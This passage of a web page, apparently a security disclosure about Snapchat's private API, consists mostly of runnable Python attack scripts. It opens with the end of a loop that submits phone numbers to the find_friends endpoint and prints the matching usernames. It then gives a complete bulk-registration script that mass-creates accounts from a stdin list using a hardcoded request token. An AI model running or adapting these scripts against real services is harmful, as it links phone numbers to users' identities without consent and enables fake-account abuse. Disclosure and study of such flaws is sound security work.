class="p">),</span> <span class="s">"countryCode"</span><span class="p">:</span> <span class="s">"US"</span><span class="p">,</span> <span class="s">"timestamp"</span><span class="p">:</span> <span class="mi">1373209025</span><span class="p">,</span> <span class="s">"username"</span><span class="p">:</span> <span class="n">username</span><span class="p">}</span> <span class="k">for</span> <span class="n">number</span> <span class="ow">in</span> <span class="n">numbers</span><span class="p">:</span> <span class="n">n</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">({</span><span class="n">number</span><span class="p">:</span> <span class="s">"J. R. Hacker"</span><span class="p">})</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="s">"/ph/find_friends"</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="nb">dict</span><span class="p">(</span><span class="n">static</span><span class="p">,</span> <span class="n">numbers</span><span class="o">=</span><span class="n">n</span><span class="p">),</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">"User-agent"</span><span class="p">:</span> <span class="bp">None</span><span class="p">})</span><span class="o">.</span><span class="n">json</span><span class="p">()</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="p">[</span><span class="s">"results"</span><span class="p">])</span> <span class="o"><</span> <span class="mi">1</span><span class="p">:</span> <span class="k">continue</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">"{0} -> {1}</span><span class="se">\n</span><span class="s">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">number</span><span class="p">,</span> <span class="n">r</span><span class="p">[</span><span class="s">"results"</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="s">"name"</span><span class="p">]))</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span> </pre></div> <h2 id='bulk-registration-of-accounts' class='link-to'>Bulk registration of accounts <a class='pilcrow' title='Permalink to this section' href='#bulk-registration-of-accounts'>露</a></h2> <p>This isn't so much of an exploit as taking advantage of the really lax registration functionality. Two requests, <code>/bq/register</code> and <code>/ph/registeru</code> can give you an account.</p> <p>This script reads a list of accounts from stdin, attempts to register them, then prints the valid registered accounts to stdout. Format your account list like this:</p> <pre><code>account1:password1:<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="2e57415b1f6e4b564f435e424b00415c49">[email protected]</a> account2:password2:<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b0c9dfc582f0d5c8d1ddc0dcd59edfc2d7">[email protected]</a> account3:password3:<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="ceb7a1bbfd8eabb6afa3bea2abe0a1bca9">[email protected]</a> ... ad infinitum</code></pre> <p>Use it like: <code>python2 bulk_register.py < accounts.txt > registered.txt</code></p> <div class="highlight"><pre><span class="c">#!/usr/bin/env python2</span> <span class="c"># python2 bulk_register.py < accounts.txt > registered.txt</span> <span class="c"># format accounts.txt like `username:password:email`</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="n">accounts</span> <span class="o">=</span> <span class="p">[</span><span class="n">a</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">)</span> <span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span> <span class="k">if</span> <span class="n">a</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="o">!=</span> <span class="s">""</span><span class="p">]</span> <span class="n">base</span> <span class="o">=</span> <span class="s">"https://feelinsonice.appspot.com"</span> <span class="k">for</span> <span class="n">account</span> <span class="ow">in</span> <span class="n">accounts</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">email</span> <span class="o">=</span> <span class="n">account</span> <span class="n">reg</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="s">"/bq/register"</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span> <span class="s">"req_token"</span><span class="p">:</span> <span class="s">"9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b"</span><span class="p">,</span> <span class="s">"timestamp"</span><span class="p">:</span> <span class="mi">1373209025</span><span class="p">,</span> <span class="s">"email"</span><span class="p">:</span> <span class="n">email</span><span class="p">,</span> <span class="s">"password"</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span> <span class="s">"age"</span><span class="p">:</span> <span class="mi">19</span><span class="p">,</span> <span class="s">"birthday"</span><span class="p">:</span> <span class="s">"1994-11-27"</span><span class="p">,</span> <span class="p">},</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">"User-agent"</span><span class="p">:</span> <span class="bp">None</span><span class="p">})</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">reg</span><span class="o">.</span><span class="n">json</span><span class="p">()[</span><span class="s">"logged"</span><span class="p">]:</span> <span class="k">continue</span> <span class="n">nam</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="s">"/ph/registeru"</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span> <span class="s">"req_token"</span><span class="p">:</span> <span class="s">"9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b"</span><span class="p">,</span> <span class="s">"timestamp"</span><span class="p">:</span> <span class="mi">1373209025</span><span class="p">,</span> <span class="s">"email"</span><span class="p">:</span> <span class="n">email</span><span class="p">,</span> <span class="s">"username"</span><span class="p">:</span> <span class="n">username</span> <span class="p">},</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">"User-agent"</span><span class="p">:</span> <span class="bp">None</span><span class="p">})</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">nam</span><span class="o">.</span><span class="n">json</span><span class="p">()[</span><span class="s">"logged"</span><span class="p">]:</span> <span class="k">continue</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">":"</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">account</span><span class="p">)</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span> </pre></div> </div> </div> </content> <div id="go-to-top"><a href="#top">top</a></div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script></body> </html>